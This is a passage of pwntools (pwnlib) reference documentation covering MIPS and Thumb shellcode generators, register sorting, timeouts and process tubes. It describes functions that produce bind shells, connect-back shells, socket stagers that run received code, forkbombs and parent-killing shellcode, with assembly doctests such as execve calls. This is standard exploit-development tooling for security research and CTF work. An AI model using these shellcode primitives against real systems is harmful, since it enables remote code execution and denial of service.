> Parameters
>
> - **reg_context** (*dict*) – Desired register context
> - **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print shellcraft.setregs({'$t0':1, '$a3':'0'}).rstrip()
    slti $a3, $zero, 0xFFFF /* $a3 = 0 */
    li $t9, ~1
    not $t0, $t9
>>> print shellcraft.setregs({'$a0':'$a1', '$a1':'$a0', '$a2':'$a1'}).rstrip()
    sw $a1, -4($sp) /* mov $a2, $a1 */
    lw $a2, -4($sp)
    xor $a1, $a1, $a0 /* xchg $a1, $a0 */
    xor $a0, $a1, $a0
    xor $a1, $a1, $a0
```

pwnlib.shellcraft.mips.**trap**()
> A trap instruction.

pwnlib.shellcraft.mips.linux

Shellcraft module containing MIPS shellcodes for Linux.

pwnlib.shellcraft.mips.linux.**bindsh**(*port*, *network*)
> Listens on a TCP port and spawns a shell for the first to connect. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

pwnlib.shellcraft.mips.linux.**cat**(*filename*, *fd=1*)
> Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG')
>>> asm  = shellcraft.mips.linux.cat(f)
>>> asm += shellcraft.mips.linux.exit(0)
>>> run_assembly(asm).recvall()
'FLAG'
```

pwnlib.shellcraft.mips.linux.**connect**(*host*, *port*, *network='ipv4'*)
    Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in $s0.

pwnlib.shellcraft.mips.linux.**dupsh**(*sock='$s0'*)
    Args: [sock (imm/reg) = s0] Duplicates sock to stdin, stdout and stderr and spawns a shell.

pwnlib.shellcraft.mips.linux.**echo**(*string*, *sock=1*)
    Writes a string to a file descriptor

pwnlib.shellcraft.mips.linux.**findpeer**(*port*)
    Finds a connected socket. If port is specified it is checked against the peer port. Resulting socket is left in $s0.

pwnlib.shellcraft.mips.linux.**findpeersh**(*port*)
    Finds a connected socket. If port is specified it is checked against the peer port. A dup2 shell is spawned on it.

pwnlib.shellcraft.mips.linux.**forkbomb**()
    Performs a forkbomb attack.

pwnlib.shellcraft.mips.linux.**forkexit**()
    Attempts to fork. If the fork is successful, the parent exits.

pwnlib.shellcraft.mips.linux.**killparent**()
    Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

pwnlib.shellcraft.mips.linux.**listen**(*port*, *network*)
    Listens on a TCP port, accept a client and leave his socket in $s0. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

pwnlib.shellcraft.mips.linux.**readfile**(*path*, *dst='$s0'*)
    Args: [path, dst (imm/reg) = $s0] Opens the specified file path and sends its content to the specified file descriptor.

pwnlib.shellcraft.mips.linux.**sh**()
    Execute /bin/sh

Example

```
>>> p = run_assembly(shellcraft.mips.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
'Hello\n'
```

pwnlib.shellcraft.mips.linux.**stager**(*sock*, *size*)
    Read 'size' bytes from 'sock' and place them in an executable buffer and jump to it. The socket will be left in $s0.

pwnlib.shellcraft.mips.linux.**syscall**(*syscall=None*, *arg0=None*, *arg1=None*, *arg2=None*, *arg3=None*, *arg4=None*, *arg5=None*)

Args: [syscall_number, *args] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print pwnlib.shellcraft.mips.linux.syscall('SYS_execve', 1, '$sp', 2, 0).
→rstrip()
    /* call execve(1, '$sp', 2, 0) */
    li $t9, ~1
    not $a0, $t9
    add $a1, $sp, $0 /* mov $a1, $sp */
    li $t9, ~2
    not $a2, $t9
    slti $a3, $zero, 0xFFFF /* $a3 = 0 */
    ori $v0, $zero, SYS_execve
    syscall 0x40404
>>> print pwnlib.shellcraft.mips.linux.syscall('SYS_execve', 2, 1, 0, 20).rstrip()
    /* call execve(2, 1, 0, 0x14) */
    li $t9, ~2
    not $a0, $t9
    li $t9, ~1
    not $a1, $t9
    slti $a2, $zero, 0xFFFF /* $a2 = 0 */
    li $t9, ~0x14
    not $a3, $t9
    ori $v0, $zero, SYS_execve
    syscall 0x40404
>>> print pwnlib.shellcraft.mips.linux.syscall().rstrip()
    /* call syscall() */
    syscall 0x40404
>>> print pwnlib.shellcraft.mips.linux.syscall('$v0', '$a0', '$a1').rstrip()
    /* call syscall('$v0', '$a0', '$a1') */
    /* setregs noop */
    syscall 0x40404
>>> print pwnlib.shellcraft.mips.linux.syscall('$a3', None, None, 1).rstrip()
    /* call syscall('$a3', ?, ?, 1) */
    li $t9, ~1
    not $a2, $t9
    sw $a3, -4($sp) /* mov $v0, $a3 */
    lw $v0, -4($sp)
    syscall 0x40404
>>> print pwnlib.shellcraft.mips.linux.syscall(
...                'SYS_mmap2', 0, 0x1000,
...                'PROT_READ | PROT_WRITE | PROT_EXEC',
...                'MAP_PRIVATE | MAP_ANONYMOUS',
...                -1, 0).rstrip()
    /* call mmap2(0, 0x1000, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE |
→MAP_ANONYMOUS', -1, 0) */
    slti $a0, $zero, 0xFFFF /* $a0 = 0 */
    li $t9, ~0x1000
    not $a1, $t9
    li $t9, ~(PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
    not $a2, $t9
    ori $a3, $zero, (MAP_PRIVATE | MAP_ANONYMOUS)
    ori $v0, $zero, SYS_mmap2
    syscall 0x40404
```

```
>>> print pwnlib.shellcraft.open('/home/pwn/flag').rstrip()
    /* open(file='/home/pwn/flag', oflag=0, mode=0) */
    /* push '/home/pwn/flag\x00' */
    li $t1, 0x6d6f682f
    sw $t1, -16($sp)
    li $t1, 0x77702f65
    sw $t1, -12($sp)
    li $t1, 0x6c662f6e
    sw $t1, -8($sp)
    ori $t1, $zero, 26465
    sw $t1, -4($sp)
    addiu $sp, $sp, -16
    add $a0, $sp, $0 /* mov $a0, $sp */
    slti $a1, $zero, 0xFFFF /* $a1 = 0 */
    slti $a2, $zero, 0xFFFF /* $a2 = 0 */
    /* call open() */
    ori $v0, $zero, SYS_open
    syscall 0x40404
```

`pwnlib.regsort` — Register sorting

Topographical sort

pwnlib.regsort.**check_cycle**(*reg*, *assignments*)

Walk down the assignment list of a register, return the path walked if it is encountered again.

> **Returns** The list of register involved in the cycle. If there is no cycle, this is an empty list.

Example

```
>>> check_cycle('a', {'a': 1})
[]
>>> check_cycle('a', {'a': 'a'})
['a']
>>> check_cycle('a', {'a': 'b', 'b': 'a'})
['a', 'b']
>>> check_cycle('a', {'a': 'b', 'b': 'c', 'c': 'b', 'd': 'a'})
[]
>>> check_cycle('a', {'a': 'b', 'b': 'c', 'c': 'd', 'd': 'a'})
['a', 'b', 'c', 'd']
```

pwnlib.regsort.**extract_dependencies**(*reg*, *assignments*)

Return a list of all registers which directly depend on the specified register.

Example

```
>>> extract_dependencies('a', {'a': 1})
[]
>>> extract_dependencies('a', {'a': 'b', 'b': 1})
[]
>>> extract_dependencies('a', {'a': 1, 'b': 'a'})
['b']
```

```
>>> extract_dependencies('a', {'a': 1, 'b': 'a', 'c': 'a'})
['b', 'c']
```

pwnlib.regsort.**regsort**(*in_out*, *all_regs*, *tmp=None*, *xchg=True*, *randomize=None*)

Sorts register dependencies.

Given a dictionary of registers to desired register contents, return the optimal order in which to set the registers to those contents.

The implementation assumes that it is possible to move from any register to any other register.

If a dependency cycle is encountered, one of the following will occur:

- If xchg is True, it is assumed that dependency cyles can be broken by swapping the contents of two register (a la the xchg instruction on i386).

- If xchg is not set, but not all destination registers in in_out are involved in a cycle, one of the registers outside the cycle will be used as a temporary register, and then overwritten with its final value.

- If xchg is not set, and all registers are involved in a dependency cycle, the named register temporary is used as a temporary register.

- If the dependency cycle cannot be resolved as described above, an exception is raised.

> **Parameters**
>
> - **in_out** (*dict*) – Dictionary of desired register states. Keys are registers, values are either registers or any other value.
>
> - **all_regs** (*list*) – List of all possible registers. Used to determine which values in in_out are registers, versus regular values.
>
> - **tmp** (*obj, str*) – Named register (or other sentinel value) to use as a temporary register. If tmp is a named register **and** appears as a source value in in_out, dependencies are handled appropriately. tmp cannot be a destination register in in_out. If bool(tmp)==True, this mode is enabled.
>
> - **xchg** (*obj*) – Indicates the existence of an instruction which can swap the contents of two registers without use of a third register. If bool(xchg)==False, this mode is disabled.
>
> - **random** (*bool*) – Randomize as much as possible about the order or registers.
>
> **Returns**
>
> A list of tuples of (src, dest).
>
> Each register may appear more than once, if a register is used as a temporary register, and later overwritten with its final value.
>
> If xchg is True and it is used to break a dependency cycle, then reg_name will be None and value will be a tuple of the instructions to swap.

Example

```
>>> R = ['a', 'b', 'c', 'd', 'x', 'y', 'z']
```

If order doesn't matter for any subsequence, alphabetic order is used.

```
>>> regsort({'a': 1, 'b': 2}, R)
[('mov', 'a', 1), ('mov', 'b', 2)]
>>> regsort({'a': 'b', 'b': 'a'}, R)
[('xchg', 'a', 'b')]
>>> regsort({'a': 'b', 'b': 'a'}, R, tmp='X')
[('mov', 'X', 'a'),
 ('mov', 'a', 'b'),
 ('mov', 'b', 'X')]
>>> regsort({'a': 1, 'b': 'a'}, R)
[('mov', 'b', 'a'),
 ('mov', 'a', 1)]
>>> regsort({'a': 'b', 'b': 'a', 'c': 3}, R)
[('mov', 'c', 3),
 ('xchg', 'a', 'b')]
>>> regsort({'a': 'b', 'b': 'a', 'c': 'b'}, R)
[('mov', 'c', 'b'),
 ('xchg', 'a', 'b')]
>>> regsort({'a':'b', 'b':'a', 'x':'b'}, R, tmp='y', xchg=False)
[('mov', 'x', 'b'),
 ('mov', 'y', 'a'),
 ('mov', 'a', 'b'),
 ('mov', 'b', 'y')]
>>> regsort({'a':'b', 'b':'a', 'x':'b'}, R, tmp='x', xchg=False)
Traceback (most recent call last):
...
PwnlibException: Cannot break dependency cycles ...
>>> regsort({'a':'b','b':'c','c':'a','x':'1','y':'z','z':'c'}, R)
[('mov', 'x', '1'),
 ('mov', 'y', 'z'),
 ('mov', 'z', 'c'),
 ('xchg', 'a', 'b'),
 ('xchg', 'b', 'c')]
>>> regsort({'a':'b','b':'c','c':'a','x':'1','y':'z','z':'c'}, R, tmp='x')
[('mov', 'y', 'z'),
 ('mov', 'z', 'c'),
 ('mov', 'x', 'a'),
 ('mov', 'a', 'b'),
 ('mov', 'b', 'c'),
 ('mov', 'c', 'x'),
 ('mov', 'x', '1')]
>>> regsort({'a':'b','b':'c','c':'a','x':'1','y':'z','z':'c'}, R, xchg=0)
[('mov', 'y', 'z'),
 ('mov', 'z', 'c'),
 ('mov', 'x', 'a'),
 ('mov', 'a', 'b'),
 ('mov', 'b', 'c'),
 ('mov', 'c', 'x'),
 ('mov', 'x', '1')]
>>> regsort({'a': 'b', 'b': 'c'}, ['a','b','c'], xchg=0)
[('mov', 'a', 'b'), ('mov', 'b', 'c')]
```

pwnlib.regsort.**resolve_order**(*reg*, *deps*)

Resolve the order of all dependencies starting at a given register.

Example

```
>>> want = {'a': 1, 'b': 'c', 'c': 'd', 'd': 7, 'x': 'd'}
>>> deps = {'a': [], 'b': [], 'c': ['b'], 'd': ['c', 'x'], 'x': []}
>>> resolve_order('a', deps)
['a']
>>> resolve_order('b', deps)
['b']
>>> resolve_order('c', deps)
['b', 'c']
>>> resolve_order('d', deps)
['b', 'c', 'x', 'd']
```

`pwnlib.shellcraft.thumb` — Shellcode for Thumb Mode

`pwnlib.shellcraft.thumb`

Shellcraft module containing generic thumb little endian shellcodes.

pwnlib.shellcraft.thumb.**crash**()
> Crash.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True) < 0
True
```

pwnlib.shellcraft.thumb.**infloop**()
> An infinite loop.

pwnlib.shellcraft.thumb.**itoa**(*v*, *buffer='sp'*, *allocate_stack=True*)
> Converts an integer into its string representation, and pushes it onto the stack. Uses registers r0-r5.

> #### Parameters

> - **v** (*str, int*) – Integer constant or register that contains the value to convert.
> - **alloca** –

Example

```
>>> sc = shellcraft.thumb.mov('r0', 0xdeadbeef)
>>> sc += shellcraft.thumb.itoa('r0')
>>> sc += shellcraft.thumb.linux.write(1, 'sp', 32)
>>> run_assembly(sc).recvuntil('\x00')
'3735928559\x00'
```

pwnlib.shellcraft.thumb.**memcpy**(*dest*, *src*, *n*)
> Copies memory.

> #### Parameters

> - **dest** – Destination address
> - **src** – Source address

> • **n** – Number of bytes

pwnlib.shellcraft.thumb.**mov**(*dst*, *src*)

> Returns THUMB code for moving the specified source value into the specified destination register.
>
> If src is a string that is not a register, then it will locally set *context.arch* to *'thumb'* and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Example

```
>>> print shellcraft.thumb.mov('r1','r2').rstrip()
    mov r1, r2
>>> print shellcraft.thumb.mov('r1', 0).rstrip()
    eor r1, r1
>>> print shellcraft.thumb.mov('r1', 10).rstrip()
    mov r1, #0xa + 1
    sub r1, r1, 1
>>> print shellcraft.thumb.mov('r1', 17).rstrip()
    mov r1, #0x11
>>> print shellcraft.thumb.mov('r1', 'r1').rstrip()
    /* moving r1 into r1, but this is a no-op */
>>> print shellcraft.thumb.mov('r1', 512).rstrip()
    mov r1, #0x200
>>> print shellcraft.thumb.mov('r1', 0x10000001).rstrip()
    mov r1, #(0x10000001 >> 28)
    lsl r1, #28
    add r1, #(0x10000001 & 0xff)
>>> print shellcraft.thumb.mov('r1', 0xdead0000).rstrip()
    mov r1, #(0xdead0000 >> 25)
    lsl r1, #(25 - 16)
    add r1, #((0xdead0000 >> 16) & 0xff)
    lsl r1, #16
>>> print shellcraft.thumb.mov('r1', 0xdead00ff).rstrip()
    ldr r1, value_...
    b value_..._after
value_...: .word 0xdead00ff
value_..._after:
>>> with context.local(os = 'linux'):
...     print shellcraft.thumb.mov('r1', 'SYS_execve').rstrip()
    mov r1, #SYS_execve /* 0xb */
>>> with context.local(os = 'freebsd'):
...     print shellcraft.thumb.mov('r1', 'SYS_execve').rstrip()
    mov r1, #SYS_execve /* 0x3b */
>>> with context.local(os = 'linux'):
...     print shellcraft.thumb.mov('r1', 'PROT_READ | PROT_WRITE | PROT_EXEC').
→rstrip()
    mov r1, #(PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
```

pwnlib.shellcraft.thumb.**nop**()

> A nop instruction.

pwnlib.shellcraft.thumb.**popad**()

> Pop all of the registers onto the stack which i386 popad does, in the same order.

pwnlib.shellcraft.thumb.**push**(*value*)

> Pushes a value onto the stack without using null bytes or newline characters.

If src is a string, then we try to evaluate with *context.arch* = *'thumb'* using `pwnlib.constants.eval()` before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

> **Parameters** **value** (*int,str*) – The value or register to push

Example

```
>>> print pwnlib.shellcraft.thumb.push('r0').rstrip()
    push {r0}
>>> print pwnlib.shellcraft.thumb.push(0).rstrip()
    /* push 0 */
    eor r7, r7
    push {r7}
>>> print pwnlib.shellcraft.thumb.push(1).rstrip()
    /* push 1 */
    mov r7, #1
    push {r7}
>>> print pwnlib.shellcraft.thumb.push(256).rstrip()
    /* push 256 */
    mov r7, #0x100
    push {r7}
>>> print pwnlib.shellcraft.thumb.push('SYS_execve').rstrip()
    /* push 'SYS_execve' */
    mov r7, #0xb
    push {r7}
>>> with context.local(os = 'freebsd'):
...     print pwnlib.shellcraft.thumb.push('SYS_execve').rstrip()
    /* push 'SYS_execve' */
    mov r7, #0x3b
    push {r7}
```

pwnlib.shellcraft.thumb.**pushad**()
> Push all of the registers onto the stack which i386 pushad does, in the same order.

pwnlib.shellcraft.thumb.**pushstr**(*string*, *append_null=True*, *register='r7'*)
> Pushes a string onto the stack without using null bytes or newline characters.

> **Parameters**
>
>   • **string** (*str*) – The string to push.
>
>   • **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

Examples:

Note that this doctest has two possibilities for the first result, depending on your version of binutils.

```
>>> enhex(asm(shellcraft.pushstr('Hello\nWorld!', True))) in [
...
↪'87ea070780b4dff8047001e0726c642180b4dff8047001e06f0a576f80b4dff8047001e048656c6c80b4
↪',
...
↪'87ea070780b4dff8067000f002b8726c642180b4dff8047000f002b86f0a576f80b4014f00f002b848656c6c80b4
↪']
True
>>> print shellcraft.pushstr('abc').rstrip()
    /* push 'abc\x00' */
```

(continues on next page)

```
    ldr r7, value_...
    b value_..._after
value_...: .word 0xff636261
value_..._after:
    lsl r7, #8
    lsr r7, #8
    push {r7}
>>> print enhex(asm(shellcraft.pushstr('\x00', False)))
87ea070780b4
```

pwnlib.shellcraft.thumb.**pushstr_array**(*reg*, *array*)

> Pushes an array/envp-style array of pointers onto the stack.

> > **Parameters**

> > > - **reg** (*str*) – Destination register to hold the pointer.
> > > - **array** (*str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

pwnlib.shellcraft.thumb.**ret**(*return_value=None*)

> A single-byte RET instruction.

> > **Parameters** **return_value** – Value to return

pwnlib.shellcraft.thumb.**setregs**(*reg_context*, *stack_allowed=True*)

> Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).

> > **Parameters**

> > > - **reg_context** (*dict*) – Desired register context
> > > - **stack_allowed** (*bool*) – Can the stack be used?

> **Example**

```
>>> print shellcraft.setregs({'r0':1, 'r2':'r3'}).rstrip()
    mov r0, #1
    mov r2, r3
>>> print shellcraft.setregs({'r0':'r1', 'r1':'r0', 'r2':'r3'}).rstrip()
    mov r2, r3
    eor r0, r0, r1 /* xchg r0, r1 */
    eor r1, r0, r1
    eor r0, r0, r1
```

pwnlib.shellcraft.thumb.**to_arm**(*reg=None*, *avoid=[]*)

> Go from THUMB to ARM mode.

pwnlib.shellcraft.thumb.**trap**()

> A trap instruction.

pwnlib.shellcraft.thumb.**udiv_10**(*N*)

> Divides r0 by 10. Result is stored in r0, N and Z flags are updated.

> **Code is from generated from here:** https://raw.githubusercontent.com/rofirrim/raspberry-pi-assembler/master/chapter15/magic.py

> **With code:** python magic.py 10 code_for_unsigned

`pwnlib.shellcraft.thumb.linux`

Shellcraft module containing THUMB shellcodes for Linux.

pwnlib.shellcraft.thumb.linux.**bindsh**(*port*, *network*)
    Listens on a TCP port and spawns a shell for the first to connect. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

pwnlib.shellcraft.thumb.linux.**cat**(*filename*, *fd=1*)
    Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG\n')
>>> run_assembly(shellcraft.arm.to_thumb()+shellcraft.thumb.linux.cat(f)).
→recvline()
'FLAG\n'
```

pwnlib.shellcraft.thumb.linux.**connect**(*host*, *port*, *network='ipv4'*)
    Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in R6.

pwnlib.shellcraft.thumb.linux.**connectstager**(*host*, *port*, *network='ipv4'*)
    connect recvsize stager :param host, where to connect to: :param port, which port to connect to: :param network, ipv4 or ipv6? (default: ipv4)

pwnlib.shellcraft.thumb.linux.**dup**(*sock='r6'*)
    Args: [sock (imm/reg) = r6] Duplicates sock to stdin, stdout and stderr

pwnlib.shellcraft.thumb.linux.**dupsh**(*sock='r6'*)
    Args: [sock (imm/reg) = ebp] Duplicates sock to stdin, stdout and stderr and spawns a shell.

pwnlib.shellcraft.thumb.linux.**echo**(*string*, *sock='1'*)
    Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello\n', 1)).recvline()
'hello\n'
```

pwnlib.shellcraft.thumb.linux.**findpeer**(*port*)
    Finds a connected socket. If port is specified it is checked against the peer port. Resulting socket is left in r6.

pwnlib.shellcraft.thumb.linux.**findpeersh**(*port*)
    Finds a connected socket. If port is specified it is checked against the peer port. A dup2 shell is spawned on it.

pwnlib.shellcraft.thumb.linux.**findpeerstager**(*port=None*)
    Findpeer recvsize stager :param port, the port given to findpeer: :type port, the port given to findpeer: defaults to any

pwnlib.shellcraft.thumb.linux.**forkbomb**()
    Performs a forkbomb attack.

pwnlib.shellcraft.thumb.linux.**forkexit**()
    Attempts to fork. If the fork is successful, the parent exits.

pwnlib.shellcraft.thumb.linux.**killparent**()
> Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

pwnlib.shellcraft.thumb.linux.**listen**(*port*, *network*)
> Listens on a TCP port, accept a client and leave his socket in r6. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

pwnlib.shellcraft.thumb.linux.**loader**(*address*)
> Loads a statically-linked ELF into memory and transfers control.

> > **Parameters address** (*int*) – Address of the ELF as a register or integer.

pwnlib.shellcraft.thumb.linux.**loader_append**(*data=None*)
> Loads a statically-linked ELF into memory and transfers control.

> Similar to loader.asm but loads an appended ELF.

> > **Parameters data** (*str*) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If `None`, it is ignored.

> Example:

> The following doctest is commented out because it doesn't work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

> > # >>> gcc = process(['arm-linux-gnueabihf-gcc','-xc','-static','-Wl,-Ttext-segment=0x20000000','-']) # >>> gcc.write(''' # ... int main() { # ... printf("Hello, %s!\n", "world"); # ... } # ... ''') # >>> gcc.shutdown('send') # >>> gcc.poll(True) # 0 # >>> sc = shellcraft.loader_append('a.out') # >>> run_assembly(sc).recvline() # 'Hello, world!n'

pwnlib.shellcraft.thumb.linux.**readfile**(*path*, *dst='r6'*)
> Args: [path, dst (imm/reg) = r6] Opens the specified file path and sends its content to the specified file descriptor. Leaves the destination file descriptor in r6 and the input file descriptor in r5.

pwnlib.shellcraft.thumb.linux.**readn**(*fd*, *buf*, *nbytes*)
> Reads exactly nbytes bytes from file descriptor fd into the buffer buf.

> > **Parameters**
> > - **fd** (*int*) – fd
> > - **buf** (*void*) – buf
> > - **nbytes** (*size_t*) – nbytes

pwnlib.shellcraft.thumb.linux.**recvsize**(*sock*, *reg='r1'*)
> Recives 4 bytes size field Useful in conjuncion with findpeer and stager :param sock, the socket to read the payload from.: :param reg, the place to put the size: :type reg, the place to put the size: default ecx

> Leaves socket in ebx

pwnlib.shellcraft.thumb.linux.**sh**()
> Execute a different process.

> ```
> >>> p = run_assembly(shellcraft.thumb.linux.sh())
> >>> p.sendline('echo Hello')
> >>> p.recv()
> 'Hello\n'
> ```

pwnlib.shellcraft.thumb.linux.**stage**(*fd=0*, *length=None*)
> Migrates shellcode to a new buffer.

> > **Parameters**

- **fd** (*int*) – Integer file descriptor to recv data from. Default is stdin (0).

- **length** (*int*) – Optional buffer length. If None, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
'Hello\n'
```

pwnlib.shellcraft.thumb.linux.**stager**(*sock*, *size*)

Read 'size' bytes from 'sock' and place them in an executable buffer and jump to it. The socket will be left in r6.

pwnlib.shellcraft.thumb.linux.**syscall**(*syscall=None*, *arg0=None*, *arg1=None*, *arg2=None*, *arg3=None*, *arg4=None*, *arg5=None*, *arg6=None*)

Args: [syscall_number, *args] Does a syscall

Any of the arguments can be expressions to be evaluated by pwnlib.constants.eval().

Example

```
>>> print shellcraft.thumb.linux.syscall(11, 1, 'sp', 2, 0).rstrip()
    /* call syscall(11, 1, 'sp', 2, 0) */
    mov r0, #1
    mov r1, sp
    mov r2, #2
    eor r3, r3
    mov r7, #0xb
    svc 0x41
>>> print shellcraft.thumb.linux.syscall('SYS_exit', 0).rstrip()
    /* call exit(0) */
    eor r0, r0
    mov r7, #SYS_exit /* 1 */
    svc 0x41
>>> print pwnlib.shellcraft.open('/home/pwn/flag').rstrip()
    /* open(file='/home/pwn/flag', oflag=0, mode=0) */
    /* push '/home/pwn/flag\x00' */
    mov r7, #(0x6761 >> 8)
    lsl r7, #8
    add r7, #(0x6761 & 0xff)
    push {r7}
    ldr r7, value_...
    b value_..._after
value_...: .word 0x6c662f6e
value_..._after:
    push {r7}
    ldr r7, value_...
    b value_..._after
value_...: .word 0x77702f65
value_..._after:
```

```
    push {r7}
    ldr r7, value_...
    b value_..._after
value_...: .word 0x6d6f682f
value_..._after:
    push {r7}
    mov r0, sp
    eor r1, r1
    eor r2, r2
    /* call open() */
    mov r7, #SYS_open /* 5 */
    svc 0x41
```

2.25 `pwnlib.term` — Terminal handling

pwnlib.term.**can_init**()

> This function returns True iff stderr is a TTY and we are not inside a REPL. Iff this function returns *True*, a call to *init()* will let `pwnlib` manage the terminal.

pwnlib.term.**init**()

> Calling this function will take over the terminal (iff *can_init()* returns True) until the current python interpreter is closed.

> It is on our TODO, to create a function to "give back" the terminal without closing the interpreter.

pwnlib.term.**term_mode = False**

> This is True exactly when we have taken over the terminal using *init()*.

2.26 `pwnlib.timeout` — Timeout handling

Timeout encapsulation, complete with countdowns and scope managers.

class pwnlib.timeout.**Maximum**

class pwnlib.timeout.**Timeout**(*timeout=pwnlib.timeout.Timeout.default*)

> Implements a basic class which has a timeout, and support for scoped timeout countdowns.

> Valid timeout values are:

> - `Timeout.default` use the global default value (`context.default`)
> - `Timeout.forever` or `None` never time out
> - Any positive float, indicates timeouts in seconds

Example

```
>>> context.timeout = 30
>>> t = Timeout()
>>> t.timeout == 30
True
>>> t = Timeout(5)
>>> t.timeout == 5
```

```
True
>>> i = 0
>>> with t.countdown():
...     print (4 <= t.timeout and t.timeout <= 5)
...
True
>>> with t.countdown(0.5):
...     while t.timeout:
...         print round(t.timeout,1)
...         time.sleep(0.1)
0.5
0.4
0.3
0.2
0.1
>>> print t.timeout
5.0
>>> with t.local(0.5):
...     for i in range(5):
...         print round(t.timeout,1)
...         time.sleep(0.1)
0.5
0.5
0.5
0.5
0.5
>>> print t.timeout
5.0
```

countdown(*timeout=pwnlib.timeout.Timeout.default*)

Scoped timeout setter. Sets the timeout within the scope, and restores it when leaving the scope.

When accessing *timeout* within the scope, it will be calculated against the time when the scope was entered, in a countdown fashion.

If None is specified for timeout, then the current timeout is used is made. This allows None to be specified as a default argument with less complexity.

local(*timeout*)

Scoped timeout setter. Sets the timeout within the scope, and restores it when leaving the scope.

timeout_change()

Callback for subclasses to hook a timeout change.

default = pwnlib.timeout.Timeout.default

Value indicating that the timeout should not be changed

forever = None

Value indicating that a timeout should not ever occur

maximum = pwnlib.timeout.maximum

Maximum value for a timeout. Used to get around platform issues with very large timeouts.

OSX does not permit setting socket timeouts to 2**22. Assume that if we receive a timeout of 2**21 or greater, that the value is effectively infinite.

timeout

Timeout for obj operations. By default, uses context.timeout.

2.27 `pwnlib.tubes` — Talking to the World!

The pwnlib is not a big truck! It's a series of tubes!

This is our library for talking to sockets, processes, ssh connections etc. Our goal is to be able to use the same API for e.g. remote TCP servers, local TTY-programs and programs run over over SSH.

It is organized such that the majority of the functionality is implemented in *`pwnlib.tubes.tube`*. The remaining classes should only implement just enough for the class to work and possibly code pertaining only to that specific kind of tube.

2.27.1 Types of Tubes

`pwnlib.tubes.process` — Processes

class `pwnlib.tubes.process.`**`process`**(*argv=None*, *shell=False*, *executable=None*, *cwd=None*, *env=None*, *stdin=-1*, *stdout=<pwnlib.tubes.process.PTY object>*, *stderr=-2*, *close_fds=True*, *preexec_fn=<function <lambda>>*, *raw=True*, *aslr=None*, *setuid=None*, *where='local'*, *display=None*, *alarm=None*, **args*, ***kwargs*)

Bases: *`pwnlib.tubes.tube.tube`*

Spawns a new process, and wraps it with a tube for communication.

> **Parameters**
>
> - **argv** (`list`) – List of arguments to pass to the spawned process.
> - **shell** (`bool`) – Set to *True* to interpret *argv* as a string to pass to the shell for interpretation instead of as argv.
> - **executable** (`str`) – Path to the binary to execute. If `None`, uses `argv[0]`. Cannot be used with `shell`.
> - **cwd** (`str`) – Working directory. Uses the current working directory by default.
> - **env** (`dict`) – Environment variables. By default, inherits from Python's environment.
> - **stdin** (`int`) – File object or file descriptor number to use for `stdin`. By default, a pipe is used. A pty can be used instead by setting this to `PTY`. This will cause programs to behave in an interactive manner (e.g.., `python` will show a `>>>` prompt). If the application reads from `/dev/tty` directly, use a pty.
> - **stdout** (`int`) – File object or file descriptor number to use for `stdout`. By default, a pty is used so that any stdout buffering by libc routines is disabled. May also be `PIPE` to use a normal pipe.
> - **stderr** (`int`) – File object or file descriptor number to use for `stderr`. By default, `STDOUT` is used. May also be `PIPE` to use a separate pipe, although the *`pwnlib.tubes.tube.tube`* wrapper will not be able to read this data.
> - **close_fds** (`bool`) – Close all open file descriptors except stdin, stdout, stderr. By default, `True` is used.
> - **preexec_fn** (`callable`) – Callable to invoke immediately before calling `execve`.
> - **raw** (`bool`) – Set the created pty to raw mode (i.e. disable echo and control characters). `True` by default. If no pty is created, this has no effect.

- **aslr** (*bool*) – If set to `False`, disable ASLR via `personality` (`setarch -R`) and `setrlimit` (`ulimit -s unlimited`).

  This disables ASLR for the target process. However, the `setarch` changes are lost if a `setuid` binary is executed.

  The default value is inherited from `context.aslr`. See `setuid` below for additional options and information.

- **setuid** (*bool*) – Used to control *setuid* status of the target binary, and the corresponding actions taken.

  By default, this value is `None`, so no assumptions are made.

  If `True`, treat the target binary as `setuid`. This modifies the mechanisms used to disable ASLR on the process if `aslr=False`. This is useful for debugging locally, when the exploit is a `setuid` binary.

  If `False`, prevent `setuid` bits from taking effect on the target binary. This is only supported on Linux, with kernels v3.5 or greater.

- **where** (*str*) – Where the process is running, used for logging purposes.

- **display** (*list*) – List of arguments to display, instead of the main executable name.

- **alarm** (*int*) – Set a SIGALRM alarm timeout on the process.

Examples

```
>>> p = process('python2')
>>> p.sendline("print 'Hello world'")
>>> p.sendline("print 'Wow, such data'");
>>> '' == p.recv(timeout=0.01)
True
>>> p.shutdown('send')
>>> p.proc.stdin.closed
True
>>> p.connected('send')
False
>>> p.recvline()
'Hello world\n'
>>> p.recvuntil(',')
'Wow,'
>>> p.recvregex('.*data')
' such data'
>>> p.recv()
'\n'
